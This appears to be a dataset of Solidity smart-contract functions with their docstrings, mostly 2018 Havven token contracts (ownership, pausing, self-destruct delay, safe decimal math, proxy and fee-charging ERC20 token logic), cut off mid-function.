*/ function getLatestManifestByName(address _registrant, bytes32 _name) public view returns (address, bytes32, uint256, uint256, bytes32, string, uint256) { bytes32 registrantNameIndex = keccak256(abi.encodePacked(_registrant, _name)); require(registrantNameManifests[registrantNameIndex].length > 0); bytes32 manifestId = registrantNameManifests[registrantNameIndex][registrantNameManifests[registrantNameIndex].length - 1]; Manifest memory _manifest = manifests[manifestId]; return ( _manifest.registrant, _manifest.name, _manifest.version, _manifest.index, _manifest.hashTypeName, _manifest.checksum, _manifest.createdOn ); } /** * @dev Function to get the latest manifest registration based on registrant address * @param _registrant The registrant address of the manifest * @return The registrant address of the manifest * @return The name of the manifest * @return The version of the manifest * @return The index of this manifest in registrantNameManifests * @return The hashTypeName of the manifest * @return The checksum of the manifest * @return The created on date of the manifest */ function getLatestManifest(address _registrant) public view returns (address, bytes32, uint256, uint256, bytes32, string, uint256) { require(registrantManifests[_registrant].length > 0); bytes32 manifestId = registrantManifests[_registrant][registrantManifests[_registrant].length - 1]; Manifest memory _manifest = manifests[manifestId]; return ( _manifest.registrant, _manifest.name, _manifest.version, _manifest.index, _manifest.hashTypeName, _manifest.checksum, _manifest.createdOn ); } /** * @dev Function to get a list of manifest Ids based on registrant address * @param _registrant The registrant address of the manifest * @return Array of manifestIds */ function getManifestIdsByRegistrant(address _registrant) public view returns (bytes32[]) { return registrantManifests[_registrant]; } /** * @dev Function to get a list of manifest Ids based on registrant address and manifest name * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @return Array of registrationsIds */ function getManifestIdsByName(address _registrant, bytes32 _name) public view returns (bytes32[]) { bytes32 registrantNameIndex = keccak256(abi.encodePacked(_registrant, _name)); return registrantNameManifests[registrantNameIndex]; } /** * @dev Function to get manifest Id based on registrant address, manifest name and version * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @param _version The version of the manifest * @return The manifestId of the manifest */ function getManifestId(address _registrant, bytes32 _name, uint256 _version) public view returns (bytes32) { bytes32 manifestId = keccak256(abi.encodePacked(_registrant, _name, _version)); require(manifests[manifestId].name != bytes32(0x0)); return manifestId; } }
Allows contractOwner to add hashType _name The value to be added/ Store info about this hashType
function addHashType(bytes32 _name) public onlyContractOwner { require(hashTypeIdLookup[_name] == 0); numHashTypes++; hashTypeIdLookup[_name] = numHashTypes; HashType storage _hashType = hashTypes[numHashTypes]; _hashType.name = _name; _hashType.active = true; }
7,223,910
./full_match/1/0xa3C8d390c3965D33937865973b6159D37B777C54/sources/src/exchanges/UniswapAdapter.sol
_targetExchange Address of Uniswap factory contract _srcToken Address of src token _srcAmount Amount of src token supplied _destToken Address of dest token _minDestAmount Minimum amount of dest token to get back return actualReceiveAmount_ Actual amount of _destToken received
function swapTokenToToken( address _targetExchange, address _srcToken, uint _srcAmount, address _destToken, uint _minDestAmount ) internal returns (uint actualReceiveAmount_) { Hub hub = getHub(); Vault vault = Vault(hub.vault()); vault.withdraw(_srcToken, _srcAmount); address tokenExchange = IUniswapFactory(_targetExchange).getExchange(_srcToken); approveAsset(_srcToken, tokenExchange, _srcAmount, "takerAsset"); actualReceiveAmount_ = IUniswapExchange(tokenExchange).tokenToTokenTransferInput( _srcAmount, _minDestAmount, 1, add(block.timestamp, 1), address(vault), _destToken ); }
3,057,430
/* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Owned.sol version: 1.1 author: Anton Jurisevic Dominic Romanowski date: 2018-2-26 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- An Owned contract, to be inherited by other contracts. Requires its owner to be explicitly set in the constructor. Provides an onlyOwner access modifier. To change owner, the current owner must nominate the next owner, who then has to accept the nomination. The nomination can be cancelled before it is accepted by the new owner by having the previous owner change the nomination (setting it to 0). ----------------------------------------------------------------- */ pragma solidity 0.4.24; /** * @title A contract with an owner. * @notice Contract ownership can be transferred by first nominating the new owner, * who must then accept the ownership, which prevents accidental incorrect ownership transfers. */ contract Owned { address public owner; address public nominatedOwner; /** * @dev Owned Constructor */ constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } /** * @notice Nominate a new owner of this contract. * @dev Only the current owner may nominate a new owner. */ function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } /** * @notice Accept the nomination to be owner. */ function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: SelfDestructible.sol version: 1.2 author: Anton Jurisevic date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract allows an inheriting contract to be destroyed after its owner indicates an intention and then waits for a period without changing their mind. All ether contained in the contract is forwarded to a nominated beneficiary upon destruction. ----------------------------------------------------------------- */ /** * @title A contract that can be destroyed by its owner after a delay elapses. */ contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; /** * @dev Constructor * @param _owner The account which controls this contract. */ constructor(address _owner) Owned(_owner) public { require(_owner != address(0), "Owner must not be the zero address"); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } /** * @notice Set the beneficiary address of this contract. * @dev Only the contract owner may call this. The provided beneficiary must be non-null. * @param _beneficiary The address to pay any eth contained in this contract to upon self-destruction. */ function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "Beneficiary must not be the zero address"); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } /** * @notice Begin the self-destruction counter of this contract. * Once the delay has elapsed, the contract may be self-destructed. * @dev Only the contract owner may call this. */ function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } /** * @notice Terminate and reset the self-destruction timer. * @dev Only the contract owner may call this. */ function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } /** * @notice If the self-destruction delay has elapsed, destroy this contract and * remit any ether it owns to the beneficiary address. * @dev Only the contract owner may call this. */ function selfDestruct() external onlyOwner { require(selfDestructInitiated, "Self destruct has not yet been initiated"); require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed"); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Pausable.sol version: 1.0 author: Kevin Brown date: 2018-05-22 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract allows an inheriting contract to be marked as paused. It also defines a modifier which can be used by the inheriting contract to prevent actions while paused. ----------------------------------------------------------------- */ /** * @title A contract that can be paused by its owner */ contract Pausable is Owned { uint public lastPauseTime; bool public paused; /** * @dev Constructor * @param _owner The account which controls this contract. */ constructor(address _owner) Owned(_owner) public { // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { // Ensure we&#39;re actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = now; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require(!paused, "This action cannot be performed while the contract is paused"); _; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: SafeDecimalMath.sol version: 1.0 author: Anton Jurisevic date: 2018-2-5 checked: Mike Spain approved: Samuel Brooks ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A fixed point decimal library that provides basic mathematical operations, and checks for unsafe arguments, for example that would lead to overflows. Exceptions are thrown whenever those unsafe operations occur. ----------------------------------------------------------------- */ /** * @title Safely manipulate unsigned fixed-point decimals at a given precision level. * @dev Functions accepting uints in this contract and derived contracts * are taken to be such fixed point decimals (including fiat, ether, and nomin quantities). */ contract SafeDecimalMath { /* Number of decimal places in the representation. */ uint8 public constant decimals = 18; /* The number representing 1.0. */ uint public constant UNIT = 10 ** uint(decimals); /** * @return True iff adding x and y will not overflow. */ function addIsSafe(uint x, uint y) pure internal returns (bool) { return x + y >= y; } /** * @return The result of adding x and y, throwing an exception in case of overflow. */ function safeAdd(uint x, uint y) pure internal returns (uint) { require(x + y >= y, "Safe add failed"); return x + y; } /** * @return True iff subtracting y from x will not overflow in the negative direction. */ function subIsSafe(uint x, uint y) pure internal returns (bool) { return y <= x; } /** * @return The result of subtracting y from x, throwing an exception in case of overflow. */ function safeSub(uint x, uint y) pure internal returns (uint) { require(y <= x, "Safe sub failed"); return x - y; } /** * @return True iff multiplying x and y would not overflow. */ function mulIsSafe(uint x, uint y) pure internal returns (bool) { if (x == 0) { return true; } return (x * y) / x == y; } /** * @return The result of multiplying x and y, throwing an exception in case of overflow. */ function safeMul(uint x, uint y) pure internal returns (uint) { if (x == 0) { return 0; } uint p = x * y; require(p / x == y, "Safe mul failed"); return p; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. Throws an exception in case of overflow. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. * Incidentally, the internal division always rounds down: one could have rounded to the nearest integer, * but then one would be spending a significant fraction of a cent (of order a microether * at present gas prices) in order to save less than one part in 0.5 * 10^18 per operation, if the operands * contain small enough fractional components. It would also marginally diminish the * domain this function is defined upon. */ function safeMul_dec(uint x, uint y) pure internal returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return safeMul(x, y) / UNIT; } /** * @return True iff the denominator of x/y is nonzero. */ function divIsSafe(uint x, uint y) pure internal returns (bool) { return y != 0; } /** * @return The result of dividing x by y, throwing an exception if the divisor is zero. */ function safeDiv(uint x, uint y) pure internal returns (uint) { /* Although a 0 denominator already throws an exception, * it is equivalent to a THROW operation, which consumes all gas. * A require statement emits REVERT instead, which remits remaining gas. */ require(y != 0, "Denominator cannot be zero"); return x / y; } /** * @return The result of dividing x by y, interpreting the operands as fixed point decimal numbers. * @dev Throws an exception in case of overflow or zero divisor; x must be less than 2^256 / UNIT. * Internal rounding is downward: a similar caveat holds as with safeDecMul(). */ function safeDiv_dec(uint x, uint y) pure internal returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return safeDiv(safeMul(x, UNIT), y); } /** * @dev Convert an unsigned integer to a unsigned fixed-point decimal. * Throw an exception if the result would be out of range. */ function intToDec(uint i) pure internal returns (uint) { return safeMul(i, UNIT); } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: State.sol version: 1.1 author: Dominic Romanowski Anton Jurisevic date: 2018-05-15 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract is used side by side with external state token contracts, such as Havven and Nomin. It provides an easy way to upgrade contract logic while maintaining all user balances and allowances. This is designed to make the changeover as easy as possible, since mappings are not so cheap or straightforward to migrate. The first deployed contract would create this state contract, using it as its store of balances. When a new contract is deployed, it links to the existing state contract, whose owner would then change its associated contract to the new one. ----------------------------------------------------------------- */ contract State is Owned { // the address of the contract that can modify variables // this can only be changed by the owner of this contract address public associatedContract; constructor(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address associatedContract); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: TokenState.sol version: 1.1 author: Dominic Romanowski Anton Jurisevic date: 2018-05-15 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A contract that holds the state of an ERC20 compliant token. This contract is used side by side with external state token contracts, such as Havven and Nomin. It provides an easy way to upgrade contract logic while maintaining all user balances and allowances. This is designed to make the changeover as easy as possible, since mappings are not so cheap or straightforward to migrate. The first deployed contract would create this state contract, using it as its store of balances. When a new contract is deployed, it links to the existing state contract, whose owner would then change its associated contract to the new one. ----------------------------------------------------------------- */ /** * @title ERC20 Token State * @notice Stores balance information of an ERC20 token contract. */ contract TokenState is State { /* ERC20 fields. */ mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; /** * @dev Constructor * @param _owner The address which controls this contract. * @param _associatedContract The ERC20 contract whose state this composes. */ constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} /* ========== SETTERS ========== */ /** * @notice Set ERC20 allowance. * @dev Only the associated contract may call this. * @param tokenOwner The authorising party. * @param spender The authorised party. * @param value The total value the authorised party may spend on the * authorising party&#39;s behalf. */ function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } /** * @notice Set the balance in a given account * @dev Only the associated contract may call this. * @param account The account whose value to set. * @param value The new balance of the given account. */ function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Proxy.sol version: 1.3 author: Anton Jurisevic date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A proxy contract that, if it does not recognise the function being called on it, passes all value and call data to an underlying target contract. This proxy has the capacity to toggle between DELEGATECALL and CALL style proxy functionality. The former executes in the proxy&#39;s context, and so will preserve msg.sender and store data at the proxy address. The latter will not. Therefore, any contract the proxy wraps in the CALL style must implement the Proxyable interface, in order that it can pass msg.sender into the underlying contract as the state parameter, messageSender. ----------------------------------------------------------------- */ contract Proxy is Owned { Proxyable public target; bool public useDELEGATECALL; constructor(address _owner) Owned(_owner) public {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function setUseDELEGATECALL(bool value) external onlyOwner { useDELEGATECALL = value; } function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } function() external payable { if (useDELEGATECALL) { assembly { /* Copy call data into free memory region. */ let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* Forward all gas and call data to the target contract. */ let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) /* Revert if the call failed, otherwise return the result. */ if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } else { /* Here we are as above, but must send the messageSender explicitly * since we are using CALL rather than DELEGATECALL. */ target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "This action can only be performed by the proxy target"); _; } event TargetUpdated(Proxyable newTarget); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Proxyable.sol version: 1.1 author: Anton Jurisevic date: 2018-05-15 checked: Mike Spain approved: Samuel Brooks ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A proxyable contract that works hand in hand with the Proxy contract to allow for anyone to interact with the underlying contract both directly and through the proxy. ----------------------------------------------------------------- */ // This contract should be treated like an abstract contract contract Proxyable is Owned { /* The proxy this contract exists behind. */ Proxy public proxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address messageSender; constructor(address _proxy, address _owner) Owned(_owner) public { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy, "Only the proxy can call this function"); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner, "This action can only be performed by the owner"); _; } event ProxyUpdated(address proxyAddress); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: ExternStateToken.sol version: 1.0 author: Kevin Brown date: 2018-08-06 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract offers a modifer that can prevent reentrancy on particular actions. It will not work if you put it on multiple functions that can be called from each other. Specifically guard external entry points to the contract with the modifier only. ----------------------------------------------------------------- */ contract ReentrancyPreventer { /* ========== MODIFIERS ========== */ bool isInFunctionBody = false; modifier preventReentrancy { require(!isInFunctionBody, "Reverted to prevent reentrancy"); isInFunctionBody = true; _; isInFunctionBody = false; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: ExternStateToken.sol version: 1.3 author: Anton Jurisevic Dominic Romanowski date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A partial ERC20 token contract, designed to operate with a proxy. To produce a complete ERC20 token, transfer and transferFrom tokens must be implemented, using the provided _byProxy internal functions. This contract utilises an external state for upgradeability. ----------------------------------------------------------------- */ /** * @title ERC20 Token contract, with detached state and designed to operate behind a proxy. */ contract ExternStateToken is SafeDecimalMath, SelfDestructible, Proxyable, ReentrancyPreventer { /* ========== STATE VARIABLES ========== */ /* Stores balances and allowances. */ TokenState public tokenState; /* Other ERC20 fields. * Note that the decimals field is defined in SafeDecimalMath.*/ string public name; string public symbol; uint public totalSupply; /** * @dev Constructor. * @param _proxy The proxy associated with this contract. * @param _name Token&#39;s ERC20 name. * @param _symbol Token&#39;s ERC20 symbol. * @param _totalSupply The total supply of the token. * @param _tokenState The TokenState contract address. * @param _owner The owner of this contract. */ constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, address _owner) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { name = _name; symbol = _symbol; totalSupply = _totalSupply; tokenState = _tokenState; } /* ========== VIEWS ========== */ /** * @notice Returns the ERC20 allowance of one party to spend on behalf of another. * @param owner The party authorising spending of their funds. * @param spender The party spending tokenOwner&#39;s funds. */ function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } /** * @notice Returns the ERC20 token balance of a given account. */ function balanceOf(address account) public view returns (uint) { return tokenState.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Set the address of the TokenState contract. * @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000.. * as balances would be unreachable. */ function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(_tokenState); } function _internalTransfer(address from, address to, uint value) internal preventReentrancy returns (bool) { /* Disallow transfers to irretrievable-addresses. */ require(to != address(0), "Cannot transfer to the 0 address"); require(to != address(this), "Cannot transfer to the underlying contract"); require(to != address(proxy), "Cannot transfer to the proxy contract"); /* Insufficient balance will be handled by the safe subtraction. */ tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), value)); tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), value)); /* If we&#39;re transferring to a contract and it implements the havvenTokenFallback function, call it. This isn&#39;t ERC223 compliant because: 1. We don&#39;t revert if the contract doesn&#39;t implement havvenTokenFallback. This is because many DEXes and other contracts that expect to work with the standard approve / transferFrom workflow don&#39;t implement tokenFallback but can still process our tokens as usual, so it feels very harsh and likely to cause trouble if we add this restriction after having previously gone live with a vanilla ERC20. 2. We don&#39;t pass the bytes parameter. This is because of this solidity bug: https://github.com/ethereum/solidity/issues/2884 3. We also don&#39;t let the user use a custom tokenFallback. We figure as we&#39;re already not standards compliant, there won&#39;t be a use case where users can&#39;t just implement our specific function. As such we&#39;ve called the function havvenTokenFallback to be clear that we are not following the standard. */ // Is the to address a contract? We can check the code size on that address and know. uint length; // solium-disable-next-line security/no-inline-assembly assembly { // Retrieve the size of the code on the recipient address length := extcodesize(to) } // If there&#39;s code there, it&#39;s a contract if (length > 0) { // Now we need to optionally call havvenTokenFallback(address from, uint value). // We can&#39;t call it the normal way because that reverts when the recipient doesn&#39;t implement the function. // We&#39;ll use .call(), which means we need the function selector. We&#39;ve pre-computed // abi.encodeWithSignature("havvenTokenFallback(address,uint256)"), to save some gas. // solium-disable-next-line security/no-low-level-calls to.call(0xcbff5d96, messageSender, value); // And yes, we specifically don&#39;t care if this call fails, so we&#39;re not checking the return value. } // Emit a standard ERC20 transfer event emitTransfer(from, to, value); return true; } /** * @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing * the onlyProxy or optionalProxy modifiers. */ function _transfer_byProxy(address from, address to, uint value) internal returns (bool) { return _internalTransfer(from, to, value); } /** * @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions * possessing the optionalProxy or optionalProxy modifiers. */ function _transferFrom_byProxy(address sender, address from, address to, uint value) internal returns (bool) { /* Insufficient allowance will be handled by the safe subtraction. */ tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value)); return _internalTransfer(from, to, value); } /** * @notice Approves spender to transfer on the message sender&#39;s behalf. */ function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } /* ========== EVENTS ========== */ event Transfer(address indexed from, address indexed to, uint value); bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer(address from, address to, uint value) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval(address owner, address spender, uint value) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: FeeToken.sol version: 1.3 author: Anton Jurisevic Dominic Romanowski Kevin Brown date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A token which also has a configurable fee rate charged on its transfers. This is designed to be overridden in order to produce an ERC20-compliant token. These fees accrue into a pool, from which a nominated authority may withdraw. This contract utilises an external state for upgradeability. ----------------------------------------------------------------- */ /** * @title ERC20 Token contract, with detached state. * Additionally charges fees on each transfer. */ contract FeeToken is ExternStateToken { /* ========== STATE VARIABLES ========== */ /* ERC20 members are declared in ExternStateToken. */ /* A percentage fee charged on each transfer. */ uint public transferFeeRate; /* Fee may not exceed 10%. */ uint constant MAX_TRANSFER_FEE_RATE = UNIT / 10; /* The address with the authority to distribute fees. */ address public feeAuthority; /* The address that fees will be pooled in. */ address public constant FEE_ADDRESS = 0xfeefeefeefeefeefeefeefeefeefeefeefeefeef; /* ========== CONSTRUCTOR ========== */ /** * @dev Constructor. * @param _proxy The proxy associated with this contract. * @param _name Token&#39;s ERC20 name. * @param _symbol Token&#39;s ERC20 symbol. * @param _totalSupply The total supply of the token. * @param _transferFeeRate The fee rate to charge on transfers. * @param _feeAuthority The address which has the authority to withdraw fees from the accumulated pool. * @param _owner The owner of this contract. */ constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, uint _transferFeeRate, address _feeAuthority, address _owner) ExternStateToken(_proxy, _tokenState, _name, _symbol, _totalSupply, _owner) public { feeAuthority = _feeAuthority; /* Constructed transfer fee rate should respect the maximum fee rate. */ require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate"); transferFeeRate = _transferFeeRate; } /* ========== SETTERS ========== */ /** * @notice Set the transfer fee, anywhere within the range 0-10%. * @dev The fee rate is in decimal format, with UNIT being the value of 100%. */ function setTransferFeeRate(uint _transferFeeRate) external optionalProxy_onlyOwner { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE"); transferFeeRate = _transferFeeRate; emitTransferFeeRateUpdated(_transferFeeRate); } /** * @notice Set the address of the user/contract responsible for collecting or * distributing fees. */ function setFeeAuthority(address _feeAuthority) public optionalProxy_onlyOwner { feeAuthority = _feeAuthority; emitFeeAuthorityUpdated(_feeAuthority); } /* ========== VIEWS ========== */ /** * @notice Calculate the Fee charged on top of a value being sent * @return Return the fee charged */ function transferFeeIncurred(uint value) public view returns (uint) { return safeMul_dec(value, transferFeeRate); /* Transfers less than the reciprocal of transferFeeRate should be completely eaten up by fees. * This is on the basis that transfers less than this value will result in a nil fee. * Probably too insignificant to worry about, but the following code will achieve it. * if (fee == 0 && transferFeeRate != 0) { * return _value; * } * return fee; */ } /** * @notice The value that you would need to send so that the recipient receives * a specified value. */ function transferPlusFee(uint value) external view returns (uint) { return safeAdd(value, transferFeeIncurred(value)); } /** * @notice The amount the recipient will receive if you send a certain number of tokens. */ function amountReceived(uint value) public view returns (uint) { return safeDiv_dec(value, safeAdd(UNIT, transferFeeRate)); } /** * @notice Collected fees sit here until they are distributed. * @dev The balance of the nomin contract itself is the fee pool. */ function feePool() external view returns (uint) { return tokenState.balanceOf(FEE_ADDRESS); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Base of transfer functions */ function _internalTransfer(address from, address to, uint amount, uint fee) internal returns (bool) { /* Disallow transfers to irretrievable-addresses. */ require(to != address(0), "Cannot transfer to the 0 address"); require(to != address(this), "Cannot transfer to the underlying contract"); require(to != address(proxy), "Cannot transfer to the proxy contract"); /* Insufficient balance will be handled by the safe subtraction. */ tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), safeAdd(amount, fee))); tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), amount)); tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), fee)); /* Emit events for both the transfer itself and the fee. */ emitTransfer(from, to, amount); emitTransfer(from, FEE_ADDRESS, fee); return true; } /** * @notice ERC20 friendly transfer function. */ function _transfer_byProxy(address sender, address to, uint value) internal returns (bool) { uint received = amountReceived(value); uint fee = safeSub(value, received); return _internalTransfer(sender, to, received, fee); } /** * @notice ERC20 friendly transferFrom function. */ function _transferFrom_byProxy(address sender, address from, address to, uint value) internal returns (bool) { /* The fee is deducted from the amount sent. */ uint received = amountReceived(value); uint fee = safeSub(value, received); /* Reduce the allowance by the amount we&#39;re transferring. * The safeSub call will handle an insufficient allowance. */ tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value)); return _internalTransfer(from, to, received, fee); } /** * @notice Ability to transfer where the sender pays the fees (not ERC20) */ function _transferSenderPaysFee_byProxy(address sender, address to, uint value) internal returns (bool) { /* The fee is added to the amount sent. */ uint fee = transferFeeIncurred(value); return _internalTransfer(sender, to, value, fee); } /** * @notice Ability to transferFrom where they sender pays the fees (not ERC20). */ function _transferFromSenderPaysFee_byProxy(address sender, address from, address to, uint value) internal returns (bool) { /* The fee is added to the amount sent. */ uint fee = transferFeeIncurred(value); uint total = safeAdd(value, fee); /* Reduce the allowance by the amount we&#39;re transferring. */ tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), total)); return _internalTransfer(from, to, value, fee); } /** * @notice Withdraw tokens from the fee pool into a given account. * @dev Only the fee authority may call this. */ function withdrawFees(address account, uint value) external onlyFeeAuthority returns (bool) { require(account != address(0), "Must supply an account address to withdraw fees"); /* 0-value withdrawals do nothing. */ if (value == 0) { return false; } /* Safe subtraction ensures an exception is thrown if the balance is insufficient. */ tokenState.setBalanceOf(FEE_ADDRESS, safeSub(tokenState.balanceOf(FEE_ADDRESS), value)); tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), value)); emitFeesWithdrawn(account, value); emitTransfer(FEE_ADDRESS, account, value); return true; } /** * @notice Donate tokens from the sender&#39;s balance into the fee pool. */ function donateToFeePool(uint n) external optionalProxy returns (bool) { address sender = messageSender; /* Empty donations are disallowed. */ uint balance = tokenState.balanceOf(sender); require(balance != 0, "Must have a balance in order to donate to the fee pool"); /* safeSub ensures the donor has sufficient balance. */ tokenState.setBalanceOf(sender, safeSub(balance, n)); 